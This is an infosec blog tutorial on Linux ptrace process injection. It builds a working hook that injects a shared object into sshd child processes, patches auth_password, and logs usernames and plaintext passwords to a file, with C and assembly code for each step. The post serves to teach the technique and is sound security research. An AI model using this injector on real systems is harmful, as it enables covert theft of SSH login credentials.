<!DOCTYPE html>
<html lang="en">

<!-- Head tag -->
<head>
    
    <title>Linux ptrace introduction AKA injecting into sshd for fun - XPN InfoSec Blog</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />

    <!--Description-->
    
        <meta name="description" content="If there is one thing I&#39;ve come to appreciate over this past few weeks, it&#39;s just how much support you are provided from the Win32 API. That being said, I wanted to tackle some Linux process injection, with the aim of loading a shared object into another process address space without having to resort to LD_PRELOAD, or stopping the process. The goal I set myself was quite simple, could I recover plain text credentials from the sshd process using ptrace. Granted, this is a bit of an arbitrary goa">
    

    <!--Author-->
    
        <meta name="author" content="Adam Chester">
    

    <!--Favicon-->
    
      <link rel="icon" href="images/favicon.ico">
    

    <!--Open Graph Title-->
    
        <meta property="og:title" content="Linux ptrace introduction AKA injecting into sshd for fun"/>
    

    <!--Open Graph Site Name-->
    <meta property="og:site_name" content="XPN InfoSec Blog"/>

    <!--Page Cover-->
    
        <meta property="og:image" content=""/>
    

    <meta name="twitter:site" content="@_xpn_"/>
<meta name="twitter:creator" content="@_xpn_"/>

    <meta name="twitter:card" content="summary_large_image"/>
    <meta name="twitter:title" content="@_xpn_ - Linux ptrace introduction AKA injecting into sshd for fun"/>
    <meta name="twitter:image" content=""/>

<meta name="twitter:url" content="https://blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/index.html"/>

    <meta name="theme-color" content="#ffffff">
    <link href='https://fonts.googleapis.com/css?family=Roboto:400,300,700|Noto+Serif:400,400italic,700,700italic' rel='stylesheet' type='text/css'>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,700" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.17.1/themes/prism.min.css" rel="stylesheet" />
    <!-- Custom CSS -->
    
<link rel="stylesheet" href="/sass/main.css">


    <!-- Google Analytics -->
    
    <script>
        (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
                    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
                m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script','//www.google-analytics.com/analytics.js','ga');

        ga('create', 'UA-93082799-1', 'auto');
        ga('send', 'pageview');

    </script>


    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.11.0/styles/default.min.css" integrity="sha384-zhIsEafzyQWHSoMCQ4BfT8ZlRXQyIFwAHAJn32PNdsb8n6tVysGZSLpEEIvCskw4" crossorigin="anonymous">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.11.0/highlight.min.js" integrity="sha384-vG5ueWbnY1VP7nl03G97FIV56vNtYfp+rm3tvRLHeQZhRzq1kLd1nZZhYeQ+00u7" crossorigin="anonymous"></script>
    <script>hljs.initHighlightingOnLoad();</script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.min.js" integrity="sha256-0rguYS0qgS6L4qVzANq4kjxPLtvnp5nn2nB5G1lWRv4=" crossorigin="anonymous"></script>
    <script src="https://kit.fontawesome.com/26753e0838.js"></script>
<meta name="generator" content="Hexo 4.2.0"><link rel="alternate" href="/rss.xml" title="XPN InfoSec Blog" type="application/rss+xml">
</head>


<body id="top">
  <div class="lateral">
    <aside class="author">
      <a href="https://blog.xpnsec.com"><img class="profile-image" src="/images/profile-image.jpg" alt="avatar" /></a>
      <p class="title">XPN</p>
      <p class="name">Adam Chester</p>
      <p class="about">Hacker and Infosec Researcher</p>
      <p class="link"><a href="/about" title="About">About Me</a></p>
      <ul class="social">
        <li><a href="https://twitter.com/_xpn_" target="_blank"><i class="fab fa-twitter" aria-hidden="true"></i></a></li>
        <li><a rel="me" href="https://infosec.exchange/@xpn" target="_blank"><i class="fab fa-mastodon" aria-hidden="true"></i></a></li>
        <li><a href="https://www.linkedin.com/in/xpn" target="_blank"><i class="fab fa-linkedin" aria-hidden="true"></i></a></li>
        <li><a href="mailto:xpnsec[at]protonmail.com" target="_blank"><i class="fas fa-envelope" aria-hidden="true"></i></a></li>
        <li><a href="https://github.com/xpn" target="_blank"><i class="fab fa-github" aria-hidden="true"></i></a></li>
        <li><a href="https://blog.xpnsec.com/rss/" target="_blank"><i class="fas fa-rss"></i></a></li>
      </ul>
    </aside>Mastodon</a>
  </div>
  <div class="home-template home">
    <!--[if lt IE 8]>
      <p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/" target="_blank" rel="noopener">upgrade your browser</a> to improve your experience.</p>
    <![endif]-->
    <header class="site-header"> 
      <h2><a class="logo ir" href="https://blog.xpnsec.com" title="XPN InfoSec Blog">XPN InfoSec Blog</a></h2>
    </header>
    <div class="container clearfix">
      <main class="content" role="main">
        <div  class="post-template">
  <article class="post">
    <a class="btn" href="https://blog.xpnsec.com" title="Back to homepage">« Back to home</a>


      <h1 itemprop="name">
        <a href="/linux-process-injection-aka-injecting-into-sshd-for-fun/">Linux ptrace introduction AKA injecting into sshd for fun</a>
      </h1>


<footer class="post-info">
  Posted on 
      <span class="post-meta">
        <time>
          2017-04-19
        </time>
        
          <span>Tagged in </span>
        
        
        <a href="/tags/security/" class="button small">security</a>, <a href="/tags/ptrace/" class="button small">ptrace</a>, <a href="/tags/linux/" class="button small">linux</a>
      </span>

  

  </footer>


<p>If there is one thing I’ve come to appreciate over this past few weeks, it’s just how much support you are provided from the Win32 API. That being said, I wanted to tackle some Linux process injection, with the aim of loading a shared object into another process address space without having to resort to LD_PRELOAD, or stopping the process.</p>
<p>The goal I set myself was quite simple, could I recover plain text credentials from the sshd process using ptrace. Granted, this is a bit of an arbitrary goal, as there are many other ways to achieve the same result much more effectively (and with much less chance of SEGV), but I thought it would be cool to see this in action.</p>
<h3 id="What-is-Ptrace"><a href="#What-is-Ptrace" class="headerlink" title="What is Ptrace"></a>What is Ptrace</h3><p>For anyone who has looked at process injection on Windows, you will probably be familiar with the VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory(), and CreateRemoteThread() suite of calls. These are the common set of API methods used to allocate and execute a thread in another process. In the Linux world, the kernel exposes ptrace, which offers debuggers the ability to interfere with a running process.</p>
<p>Ptrace offers a number of useful operations for debugging, including:</p>
<ul>
<li>PTRACE_ATTACH - Allows one process to attach itself to another for debugging, pausing the remote process.</li>
<li>PTRACE_PEEKTEXT - Allows the reading of memory from another process address space.</li>
<li>PTRACE_POKETEXT - Allows the writing of memory to another process address space.</li>
<li>PTRACE_GETREGS - Reads the current set of processor registers from a process.</li>
<li>PTRACE_SETREGS - Writes to the current set of processor registers of a process.</li>
<li>PTRACE_CONT - Resumes the execution of an attached process.</li>
</ul>
<p>Whilst this isn’t an exhaustive list of ptrace functionality, the difficulty I found coming from a Win32 background was the lack of supporting functions. For example, in Windows you can allocate memory in a process via VirtualAllocEx, in which you are provided with a pointer to a freshly allocated space to write your warez. In ptrace however, this doesn’t appear to exist, which means you have to improvise when wanting to do something like inject code into another process.</p>
<p>That being said, let’s walk through how we can achieve control over another process using ptrace.</p>
<h3 id="Ptrace-Concepts"><a href="#Ptrace-Concepts" class="headerlink" title="Ptrace Concepts"></a>Ptrace Concepts</h3><p>When beginning a typical session, the first thing that we want to do is attach to the process that we will be targeting. To do this, we call ptrace with the PTRACE_ATTACH parameter:</p>
<pre><code>ptrace(PTRACE_ATTACH, pid, NULL, NULL);</code></pre><p>This call is pretty straight forward, it takes the PID of the process we want to target. When called, a SIGSTOP is sent, resulting in the process pausing its execution.</p>
<p>Once attached, we will need to take a backup of the current state of the processor registers before we make any modifications. This will allow us to resume execution at a later stage:</p>
<pre><code>struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &amp;oldregs);</code></pre><p>Next, we need to find a place within the process where we can write our injected code. The easiest way to do this is to parse the “maps” file located in procfs for the target. For example, the “/proc/PID/maps” file for a running sshd process on Ubuntu looks like this:</p>
<p><img src="https://assets.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/maps.png" alt=""></p>
<p>We need to search for a section which is mapped with execute permission (likely this will be “r-xp”). Once found, similar to the process registers, we will need to backup the existing data from the target section to allow us to recover at a later stage. We do this using PTRACE_PEEKTEXT:</p>
<pre><code>ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);</code></pre><p>When called in this way, 1 word of data (32 bits on x86, or 64 bits on x86-64 Linux) will be read from the address provided, meaning repeated calls must be made with an incrementing address parameter.</p>
<p><em>Please note: Linux also provides process_vm_readv() and process_vm_writev() for reading/writing to process memory. For the purpose of this tutorial I will stick with ptrace, however if you are looking to implement something yourself, it is worth checking these calls out.</em></p>
<p>Now that we have backed up the parts of the target process we are about to clobber, we can start overwriting our chosen executable section using PTRACE_POKETEXT:</p>
<pre><code>ptrace(PTRACE_POKETEXT, pid, addr, word);</code></pre><p>Similar to PTRACE_PEEKTEXT, this call deals with 1 word of data at a time, and accepts an address to write to. And similar to PTRACE_PEEKTEXT, multiple calls are required to achieve anything more that a 1 word write.</p>
<p>Once we have written our code, we will want to update the processes instruction pointer register to point to our injected code. To keep us from overwriting data in memory (such as data held on the stack), we will use the same registers that we backed up earlier, updating only where needed:</p>
<pre><code>struct user_regs_struct regs;
memcpy(&amp;regs, &amp;oldregs, sizeof(struct user_regs_struct));

// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &amp;regs);</code></pre><p>Finally, we can use PTRACE_CONT to resume execution:</p>
<pre><code>ptrace(PTRACE_CONT, pid, NULL, NULL);</code></pre><p>But how do we know when our injected code has finished executing? We use a software interrupt, such as a “int 0x3” instruction, which will generate a SIGTRAP. We listen for this signal using a waitpid() call as follows:</p>
<pre><code>waitpid(pid, &amp;status, WUNTRACED);</code></pre><p>waitpid() will block until the process corresponding to the provided PID pauses execution, and writes the reason to the “status” variable. Thankfully there are a number of macro’s available which make life a bit easier in helping us understand the reason for the pause.</p>
<p>To tell if control has been paused because of a SIGTRAP (caused by our “int 0x03” instruction), we can use:</p>
<pre><code>waitpid(pid, &amp;status, WUNTRACED);
if (WIFSTOPPED(status) &amp;&amp; WSTOPSIG(status) == SIGTRAP) {
    printf(&quot;SIGTRAP received\n&quot;);
}</code></pre><p>At this point, we know that our injected code has executed, and just need to restore the process back to its original state. This is simply a case of recovering the original registers:</p>
<pre><code>ptrace(PTRACE_SETREGS, pid, NULL, &amp;origregs);</code></pre><p>Writing the original memory back to the process:</p>
<pre><code>ptrace(PTRACE_POKETEXT, pid, addr, word);</code></pre><p>And detaching from the process to resume execution:</p>
<pre><code>ptrace(PTRACE_DETACH, pid, NULL, NULL);</code></pre><p>OK, enough of the theory, lets move onto something a bit more interesting.</p>
<h3 id="Injecting-into-SSH"><a href="#Injecting-into-SSH" class="headerlink" title="Injecting into SSH"></a>Injecting into SSH</h3><p><em>I should probably warn you that there is of course the possibility of crashing sshd for other users, so be careful, and obviously please don’t test this on a live system or a system you are remotely SSH’d into :D</em></p>
<p><em>Additionally, there are a number of better ways to achieve a similar effect, I illustrate this technique purely as a fun way to show ptrace’s power (and it beats injecting a Hello World ;)</em></p>
<p>If you would like to follow along, I would suggest taking a look at the final code <a href="https://github.com/xpn/ssh-inject" target="_blank" rel="noopener">here</a>.</p>
<p>So one thing that I wanted to do was to recover username and password combinations from a running sshd process when a user authenticates. Reviewing the sshd source code, we can see the following:</p>
<p><a href="https://github.com/openssh/openssh-portable/blob/master/auth-passwd.c" target="_blank" rel="noopener">https://github.com/openssh/openssh-portable/blob/master/auth-passwd.c</a></p>
<pre><code>/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
 int
 auth_password(Authctxt *authctxt, const char *password)
 {
  ...
 }</code></pre><p>This looks like a nice place to hook and recover plain-text credentials when provided by the user.</p>
<p>Now, we want to find a signature of this function which will allow us to search for it in memory. To do this, I used my favourite disassembly tool, radare2, to disassemble SSH on my <a href="https://www.vagrantup.com" target="_blank" rel="noopener">Vagrant</a> box:</p>
<p><img src="https://assets.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/auth_passwd.png" alt=""></p>
<p>We need to find a set of bytes in the file which is unique to “auth_password” function. To do this, we use radare2’s hex search to find a single matching signature:</p>
<p><img src="https://assets.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/radare2_search.png" alt=""></p>
<p>It appears that the <code>xor rdx,rdx; cmp rax, 0x400;</code> instructions are unique to this function, returning only a single match in the ELF file, so we will use this as our signature.</p>
<p>As a side note… if you don’t see this signature in your version of sshd, you may want to ensure your version is up to date, as this is actually protecting against a vulnerability <a href="http://www.openssh.com/txt/release-7.3" target="_blank" rel="noopener">fixed</a> mid 2016.</p>
<p>Next we will need to inject our code into the sshd process.</p>
<h3 id="Injecting-a-so-into-sshd"><a href="#Injecting-a-so-into-sshd" class="headerlink" title="Injecting a .so into sshd"></a>Injecting a .so into sshd</h3><p>To load our code into sshd, we are going to inject a very small stub, which will use dlopen() to load a shared library which will perform the hooking of “auth_password”.</p>
<p>dlopen() is a dynamic linker call, which receives a path to a shared library as an argument, and loads the library into the calling process. This function is included within libdl.so, which is usually dynamically linked to your application during compile time.</p>
<p>Thankfully, in our case, libdl.so is already present in sshd, so all we need to do is to call dlopen() with our injected code. However, due to ASLR, it’s very unlikely that dlopen() will be at the same address each time, so we must calculate its address within the sshd process.</p>
<p>To find the address of the function, we are going to first calculate the difference between libdl.so’s base address to the dlopen() function. This can be done with the following:</p>
<pre><code>unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen(&quot;libdl.so&quot;, RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, &quot;dlopen&quot;);
printf(&quot;Offset: %llx\n&quot;, dlopenAddr - libdlAddr);</code></pre><p>Once we have the offset, we can parse the “maps” file of sshd for libdl.so, and recover the base address:</p>
<p><img src="https://assets.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/libdl_maps.png" alt=""></p>
<p>Having now found the base address of libdl.so within sshd (0x7f0490a0d000 in the map file above), we can add our calculated offset to this address and know where dlopen() will be when called by our injected code.</p>
<p>To pass this address across to our injected code, we will use a register which we will set using PTRACE_SETREGS.</p>
<p>We will also need to write the path to our shared library into the sshd process, which we will also pass via a register to our injected stub, for example:</p>
<pre><code>void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
  long word = 0;
  int i = 0;

  for (i=0; i &lt; len; i+=sizeof(word), word=0) {
    memcpy(&amp;word, data + i, sizeof(word));
    if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
      printf(&quot;[!] Error writing process memory\n&quot;);
      exit(1);
    }
  }
}

ptraceWrite(pid, (unsigned long long)freeaddr, &quot;/tmp/inject.so\x00&quot;, 16)</code></pre><p>By offloading as much as possible to the injecting process, and setting registers before calling our stub, we can keep our injected code very simple, for example:</p>
<pre><code>// Update RIP to point to our code, which will be just after 
// our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;

// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;

// Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr;

// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2;   // RTLD_LAZY

// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &amp;regs);</code></pre><p>This means that our injected stub is simply:</p>
<pre><code>; RSI set as value &apos;2&apos; (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03</code></pre><p>Next, we need to create our shared library which will be loaded by our injected stub.</p>
<p>Before moving on, let’s look at an important concept that will be used when injecting a shared library… shared object constructors.</p>
<h3 id="Shared-Object-Constructor"><a href="#Shared-Object-Constructor" class="headerlink" title="Shared Object Constructor"></a>Shared Object Constructor</h3><p>A shared library supports the ability to execute code upon load, by using the <strong>attribute</strong>((constructor)) decorator. For example:</p>
<pre><code>#include &lt;stdio.h&gt;

void __attribute__((constructor)) test(void) {
    printf(&quot;Library loaded on dlopen()\n&quot;);
}</code></pre><p>We can compile this shared object using the following GCC command:</p>
<pre><code>gcc -o test.so --shared -fPIC test.c</code></pre><p>And test using dlopen():</p>
<pre><code>dlopen(&quot;./test.so&quot;, RTLD_LAZY);</code></pre><p>When the library is loaded, we see that our constructor is also called:</p>
<p><img src="https://assets.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun/shared_lib_constructor.png" alt=""></p>
<p>We will be using this functionality to make our life a bit easier when it comes to injecting our shared object into another process space.</p>
<h3 id="sshd-Shared-Object"><a href="#sshd-Shared-Object" class="headerlink" title="sshd Shared Object"></a>sshd Shared Object</h3><p>Now we have the ability to inject our shared library, we need to craft our code to patch the auth_password() function during runtime.</p>
<p>When our shared library is loaded, we can find the base address of sshd via the “/proc/self/maps” procfs file. We are looking for the “r-x” protected section of sshd within this file, which will give us the start and end address we will need to search for our auth_password() signature:</p>
<pre><code>fd = fopen(&quot;/proc/self/maps&quot;, &quot;r&quot;);
while(fgets(buffer, sizeof(buffer), fd)) {
    if (strstr(buffer, &quot;/sshd&quot;) &amp;&amp; strstr(buffer, &quot;r-x&quot;)) {
        ptr = strtoull(buffer, NULL, 16);
        end = strtoull(strstr(buffer, &quot;-&quot;)+1, NULL, 16);
        break;
    }
}</code></pre><p>Once we have our target memory range, we want to hunt for our signature:</p>
<pre><code>const char *search = &quot;\x31\xd2\x48\x3d\x00\x04\x00\x00&quot;;
while(ptr &lt; end) {
    // ptr[0] == search[0] added to increase performance during searching
    // no point calling memcmp if the first byte doesn&apos;t match our signature.
    if (ptr[0] == search[0] &amp;&amp; memcmp(ptr, search, 9) == 0) {
        break;
    }
    ptr++;
}</code></pre><p>And once we have our match, we need to use mprotect() to update the memory protection. This is because the section is mapped with only read and execute permissions, and we need write permissions to overwrite the code during runtime:</p>
<pre><code>mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)</code></pre><p>Now that we have permission to write to this segment, we will add our hook to the start of the function. To save writing the bulk of our hook in assembly, we will use a small trampoline, which will look like this:</p>
<pre><code>char jmphook[] = &quot;\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0&quot;;</code></pre><p>This translates to the following:</p>
<pre><code>mov rax, 0x4142434445464748
jmp rax</code></pre><p>Of course 0x4142434445464748 is an invalid address which we will replace with the value of our hook function:</p>
<pre><code>*(unsigned long long *)((char*)jmphook+2) = &amp;passwd_hook;</code></pre><p>Then we can simply add our trampoline to the sshd function. To keep the injection nice and clean, I chose to add this to the beginning of the function:</p>
<pre><code>// Step back to the start of the function, which is 32 bytes 
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));</code></pre><p>Finally, we have our hook function which takes care of logging the passed credentials. We must make sure that we store a copy of the registers before the hook, and restore the registers before returning to the original code:</p>
<pre><code>// Remember the prolog: push rbp; mov rbp, rsp; 
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
    // We want to store our registers for later
    asm(&quot;push %rsi\n&quot;
        &quot;push %rdi\n&quot;
        &quot;push %rax\n&quot;
        &quot;push %rbx\n&quot;
        &quot;push %rcx\n&quot;
        &quot;push %rdx\n&quot;
        &quot;push %r8\n&quot;
        &quot;push %r9\n&quot;
        &quot;push %r10\n&quot;
        &quot;push %r11\n&quot;
        &quot;push %r12\n&quot;
        &quot;push %rbp\n&quot;
        &quot;push %rsp\n&quot;
        );

    // Our code here, is used to store the username and password
    char buffer[1024];
    int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);

    // Note: The magic offset of &quot;arg1 + 32&quot; contains a pointer to 
    // the username from the passed argument.
    snprintf(buffer, sizeof(buffer), &quot;Password entered: [%s] %s\n&quot;, *(void **)(arg1 + 32), password);
    write(log, buffer, strlen(buffer));
    close(log);

    asm(&quot;pop %rsp\n&quot;
        &quot;pop %rbp\n&quot;
        &quot;pop %r12\n&quot;
        &quot;pop %r11\n&quot;
        &quot;pop %r10\n&quot;
        &quot;pop %r9\n&quot;
        &quot;pop %r8\n&quot;
        &quot;pop %rdx\n&quot;
        &quot;pop %rcx\n&quot;
        &quot;pop %rbx\n&quot;
        &quot;pop %rax\n&quot;
        &quot;pop %rdi\n&quot;
        &quot;pop %rsi\n&quot;
        );

    // Recover from the function prologue
    asm(&quot;mov %rbp, %rsp\n&quot;
        &quot;pop %rbp\n&quot;
       );
    ...</code></pre><p>And that’s it… well, kind of…</p>
<p>Unfortunately, even after all that, we still have a little bit left to do. If you jumped ahead and injected your code into the sshd process, you will probably notice that credentials are not be available to you. This is due to the way in which sshd spawns a child process for each new connection. It is this child process which actually handles the authentication of the user, and this child process that we need to hook.</p>
<p>To make sure we are targeting the child processes of sshd, I settled on a method of scanning the procfs filesystem for the “stats” file holding a PPID of the sshd process. When found, our injector will be run against this new process.</p>
<p>There is actually a benefit of doing our injection in this way. If the worst does happen and your injected code causes a SIGSEGV, you are only killing the child process, and not the main sshd daemon parent process. It’s not much of a consolation, but it makes debugging a whole lot easier :D</p>
<h3 id="Injector-in-action"><a href="#Injector-in-action" class="headerlink" title="Injector in action"></a>Injector in action</h3><p>OK, let’s see a demo of this thing in action…</p>
<p>The finished code can be downloaded from github <a href="https://github.com/xpn/ssh-inject" target="_blank" rel="noopener">here</a>.</p>
<p>Hopefully this journey gives you enough information to start tackling ptrace yourself. If you have any further comments or questions, you can find me hanging out in the usual places.</p>
<p>I would like to pass my thanks to the following people and sites, which helped me to understand ptrace beyond the wall of text that is the ptrace man pages:</p>
<ul>
<li>Gaffe23’s de-facto standard linux inject toolset - <a href="https://github.com/gaffe23/linux-inject" target="_blank" rel="noopener">https://github.com/gaffe23/linux-inject</a></li>
<li>EvilSocket’s awesome write-up on process injection - <a href="https://www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm/" target="_blank" rel="noopener">https://www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm/</a></li>
</ul>

  </article>
</div>

      </main> 
    </div>
    <footer class="main-footer">
  <div class="container clearfix">
    <a href="https://blog.xpnsec.com/rss/" title="RSS Feed"><i class="fa fa-rss"></i></a>
  </div>
</footer>

    <script src="https://code.jquery.com/jquery-1.12.4.min.js" integrity="sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=" crossorigin="anonymous"></script>
    
<script src="/js/skel.min.js"></script>

    
<script src="/js/main.js"></script>

    </div>
  </body>
</html>
